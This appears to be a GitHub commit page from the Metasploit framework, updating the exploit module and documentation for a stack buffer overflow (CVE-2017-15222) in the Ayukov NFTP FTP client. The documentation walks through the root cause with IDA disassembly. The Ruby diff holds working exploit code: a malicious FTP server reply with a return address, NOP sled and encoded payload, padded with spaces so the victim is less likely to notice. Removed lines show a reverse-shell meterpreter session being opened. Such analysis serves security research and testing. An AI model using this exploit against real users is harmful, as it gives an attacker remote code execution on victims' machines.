Skip to content

Commit 04cf301

Browse files
committed
Update ayukov_nftp exploit and module documentation
1 parent 3af27a0 commit 04cf301

File tree

2 files changed

+215
-34
lines changed

2 files changed

+215
-34
lines changed
Lines changed: 179 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -1,36 +1,189 @@
1+
# Ayukov NFTP FTP Client Stack Buffer Overflow Analysis
2+
3+
## Introduction
4+
5+
Ayukov is an FTP client that was written by Sergey Ayukov back in 1994. Development stopped in
6+
2011, and it is vulnerable to a stack-based buffer overflow vulnerability due to the way it
7+
handles the server input.
8+
9+
The exploit was tested on Windows XP SP3 (English).
10+
111
## Vulnerable Application
212

3-
Tested on Windows XP Professional SP3 EN
13+
The vulnerable copy can be [downloaded from Exploit-DB](https://www.exploit-db.com/apps/a766d928899200ed6a21f7c790b5cbe5-nftp-1.71-i386-win32.exe).
14+
15+
## PoC
16+
17+
A submission was made to Metasploit as [PR #9360](https://github.com/rapid7/metasploit-framework/pull/9360). Here's an example of how to crash the FTP client:
18+
19+
```ruby
20+
# Let the client log in
21+
client.get_once
22+
23+
user = "331 OK.\r\n"
24+
client.put(user)
25+
26+
client.get_once
27+
pass = "230 OK.\r\n"
28+
client.put(pass)
29+
30+
sploit = "A"*4116
31+
sploit << [target.ret].pack('V') # JMP ESP here
32+
sploit << "\x90"*16
33+
sploit << payload.encoded
34+
sploit << "C" * (15000 - 4116 - 4 - 16 - payload.encoded.length)
35+
sploit << "\r\n"
36+
37+
client.put(sploit)
38+
39+
client.get_once
40+
pwd = "257\r\n"
41+
client.put(pwd)
42+
client.get_once
43+
```
44+
45+
## Root Cause Analysis
46+
47+
When serving the PoC against the vulnerable app, the client's command prompt shows:
48+
49+
```
50+
12:28:43 331 OK.
51+
12:28:43 USER anonymous
52+
12:28:43 230 OK.
53+
12:28:43 Successfully logged in as '[email protected]'
54+
12:28:43 SYST
55+
12:28:43 .................. Lots of AAAAAs here .....................
56+
12:28:43 TYPE I
57+
12:28:43 257
58+
```
59+
60+
The interesting part here is that when the client sends a ```SYST``` request, the server responds
61+
with a long string of data attempting to cause a crash. This would be a good starting point to
62+
investigate the root cause.
63+
64+
With IDA Pro, we can tell that the ```SYST``` string is at the following location:
65+
66+
```
67+
.text:004096B6 ; char aSyst[]
68+
.text:004096B6 aSyst db 'SYST',0 ; DATA XREF: sub_409978+B8Co
69+
```
70+
71+
When we cross reference, we can tell this is used by the ```OpenControlConnection``` function.
72+
Although there is no symbol to identify the actual function name "OpenControlConnection", the
73+
debugging message at the beginning of the function is a big hint:
74+
75+
```C
76+
int __usercall OpenControlConnection@<eax>(int a1@<ebx>, int a2@<edi>, int a3@<esi>)
77+
{
78+
sub_45AF40(savedregs);
79+
*(_DWORD *)&name.sa_data[10] = a2;
80+
*(_DWORD *)&name.sa_data[6] = a3;
81+
*(_DWORD *)&name.sa_data[2] = a1;
82+
if ( !dword_477AEC )
83+
sub_419B4C(1);
84+
while ( 1 )
85+
{
86+
while ( 1 )
87+
{
88+
do
89+
{
90+
sub_403484("begin OpenControlConnection()\n", charResBuffer[4088]);
91+
...
92+
```
93+
94+
Anyway, inside the OpenControlConnection function, we can see that the ```SYST``` command is
95+
requested here for SendFTPRequest (no symbol of clue of the name, I just decided to name it this
96+
way):
97+
98+
```
99+
.text:0040A504 push offset aSyst ; "SYST"
100+
.text:0040A509 lea eax, [ebp+charResBuffer]
101+
.text:0040A50F push eax ; charResBuffer
102+
.text:0040A510 lea eax, [ebp+args]
103+
.text:0040A516 push eax ; int
104+
.text:0040A517 push 0 ; int
105+
.text:0040A519 call SendFTPRequest
106+
```
107+
108+
Inside the SendFTPRequest function, it looks like this:
109+
110+
```C
111+
int SendFTPRequest(int a1, int arg_4, char *charResBuffer, char *Format, ...)
112+
{
113+
char *v4; // ebx@0
114+
int v5; // edi@0
115+
int v6; // esi@0
116+
char *v7; // edx@1
117+
char Dst[16384]; // [esp+18h] [ebp-4000h]@2
118+
char *savedregs; // [esp+4018h] [ebp+0h]@1
119+
va_list va; // [esp+4030h] [ebp+18h]@1
120+
121+
va_start(va, Format);
122+
sub_45AF40(savedregs);
123+
savedregs = v4;
124+
v7 = Format;
125+
if ( Format )
126+
{
127+
v4 = Dst;
128+
// This actually checks the input for the FTP command from the client.
129+
// The 0x4000u indicates the string should not be longer than that, otherwise
130+
// there will be a buffer overflow warning in this function.
131+
snprintf1(Dst, 0x4000u, Format, va);
132+
v7 = Dst;
133+
}
134+
return SendReceive((int)v4, v5, v6, a1, arg_4, charResBuffer, v7);
135+
}
136+
```
137+
138+
We were able to tell the second argument for ```SendFTPRequest``` is actually a buffer for receiving
139+
the server's response, because the way it is used:
4140

5-
Install the application from the link below.
141+
```C
142+
result = SendFTPRequest(0, (int)args, charResBuffer, "SYST");
143+
if ( result == -4 )
144+
return result;
145+
if ( result )
146+
goto LABEL_231;
147+
if ( *(_DWORD *)args == 2 )
148+
{
149+
sub_445CEC(charResBuffer);
150+
if ( strstr(charResBuffer, "unix") )
151+
{
152+
if ( strstr(charResBuffer, "powerweb") )
153+
{
154+
*(_DWORD *)dword_47B1E0 = 6;
155+
goto LABEL_206;
156+
}
157+
}
158+
...
159+
```
6160
7-
[NFTP 1.71](https://www.exploit-db.com/apps/a766d928899200ed6a21f7c790b5cbe5-nftp-1.71-i386-win32.exe)
161+
In addition, this buffer is actually on the stack, and it's 4096 long:
8162
9-
## Verification Steps
163+
```
164+
-00001010 charResBuffer db 4096 dup(?)
165+
```
10166
11-
1. Install the application
12-
2. Start msfconsole
13-
3. Do: ```use exploit/windows/ftp/ayukov_nftp```
14-
4. Set options and payload
15-
5. Do: ```exploit```
16-
6. Connect to the FTP server using the NFTP FTP client
17-
6. You should get a shell
167+
This means that if the server responds with something longer than 4096 bytes for the ```SYST``` request,
168+
the data may corrupt the stack, and cause a stack-based buffer overflow. At the end of
169+
```OpenControlConnection```, the ```RETN``` ends up loading the corrupt data, which may lead to
170+
arbitrary code execution:
18171
19-
## Scenarios
172+
```
173+
.text:0040AC39 lea esp, [ebp-2048h]
174+
.text:0040AC3F pop ebx
175+
.text:0040AC40 pop esi
176+
.text:0040AC41 pop edi
177+
.text:0040AC42 leave
178+
.text:0040AC43 retn
179+
```
20180
21-
To obtain a shell:
181+
Since whoever is using ```SendFTPRequest``` is responsible for providing the buffer of the server
182+
response, and there are 47 other cross-references, it is possible there are different ways to
183+
trigger the same bug. And since it doesn't look like there is a patch (because the product is
184+
no longer in active development, from the exploit developer's perspective, it is not necessary
185+
to look for other ways to exploit it).
22186
23-
```
24-
msf > use exploit/windows/ftp/ayukov_nftp
25-
msf exploit(windows/ftp/ayukov_nftp) > set PAYLOAD windows/meterpreter/reverse_tcp
26-
PAYLOAD => windows/meterpreter/reverse_tcp
27-
msf exploit(windows/ftp/ayukov_nftp) > set LHOST 192.168.216.5
28-
LHOST => 192.168.216.5
29-
msf exploit(windows/ftp/ayukov_nftp) > exploit
30-
[*] Exploit running as background job 0.
187+
## References
31188
32-
[*] Started reverse TCP handler on 192.168.216.5:4444
33-
msf exploit(windows/ftp/ayukov_nftp) > [*] Server started.
34-
[*] Sending stage (179779 bytes) to 192.168.216.156
35-
[*] Meterpreter session 1 opened (192.168.216.5:4444 -> 192.168.216.156:1046) at 2017-12-31 10:05:50 -0500
36-
```
189+
https://nvd.nist.gov/vuln/detail/CVE-2017-15222

modules/exploits/windows/ftp/ayukov_nftp.rb

Lines changed: 36 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -10,14 +10,18 @@ class MetasploitModule < Msf::Exploit::Remote
1010

1111
def initialize(info = {})
1212
super(update_info(info,
13-
'Name' => 'Ayukov NFTP FTP Client Remote Buffer Overflow',
13+
'Name' => 'Ayukov NFTP FTP Client Buffer Overflow',
1414
'Description' => %q{
15-
This module exploits a buffer overflow in the Ayukov NFTPD FTP client 2.0 and earlier allowing remote code execution.
15+
This module exploits a stack-based buffer overflow vulnerability against Ayukov NFTPD FTP
16+
Client 2.0 and earlier. By responding with a long string of data for the SYST request, it
17+
is possible to cause a denail-of-service condition on the FTP client, or arbitrary remote
18+
code exeuction under the context of the user if successfully exploited.
1619
},
1720
'Author' =>
1821
[
1922
'Berk Cem Goksel', # Original exploit author
20-
'Daniel Teixeira' # MSF module author
23+
'Daniel Teixeira', # MSF module author
24+
'sinn3r' # RCA, improved module reliability and user exp
2125
],
2226
'License' => MSF_LICENSE,
2327
'References' =>
@@ -27,7 +31,8 @@ def initialize(info = {})
2731
],
2832
'Payload' =>
2933
{
30-
'BadChars' => "\x00\x01\x0a\x10",
34+
'BadChars' => "\x00\x01\x0a\x10\x0d",
35+
'StackAdjustment' => -3500
3136
},
3237
'Platform' => 'win',
3338
'Targets' =>
@@ -48,27 +53,50 @@ def initialize(info = {})
4853
])
4954
end
5055

56+
def exploit
57+
srv_ip_for_client = datastore['SRVHOST']
58+
if srv_ip_for_client == '0.0.0.0'
59+
if datastore['LHOST']
60+
srv_ip_for_client = datastore['LHOST']
61+
else
62+
srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
63+
end
64+
end
65+
66+
srv_port = datastore['SRVPORT']
67+
68+
print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
69+
super
70+
end
71+
5172
def on_client_connect(client)
5273
return if ((p = regenerate_payload(client)) == nil)
53-
74+
print_status("#{client.peerhost} - connected")
5475

5576
# Let the client log in
5677
client.get_once
5778

79+
print_status("#{client.peerhost} - sending 331 OK")
5880
user = "331 OK.\r\n"
5981
client.put(user)
6082

6183
client.get_once
84+
print_status("#{client.peerhost} - sending 230 OK")
6285
pass = "230 OK.\r\n"
6386
client.put(pass)
6487

65-
sploit = "A"*4116
88+
# It is important to use 0x20 (space) as the first chunk of the buffer, because this chunk
89+
# is visible from the user's command prompt, which would make the buffer overflow attack too
90+
# obvious.
91+
sploit = "\x20"*4116
92+
6693
sploit << [target.ret].pack('V')
67-
sploit << "\x90"*16
94+
sploit << make_nops(10)
6895
sploit << payload.encoded
69-
sploit << make_nops(15000 - 4116 - 4 - 16 - payload.encoded.length)
96+
sploit << Rex::Text.rand_text(15000 - 4116 - 4 - 16 - payload.encoded.length, payload_badchars)
7097
sploit << "\r\n"
7198

99+
print_status("#{client.peerhost} - sending the malicious response")
72100
client.put(sploit)
73101

74102
client.get_once

0 commit comments

Comments
 (0)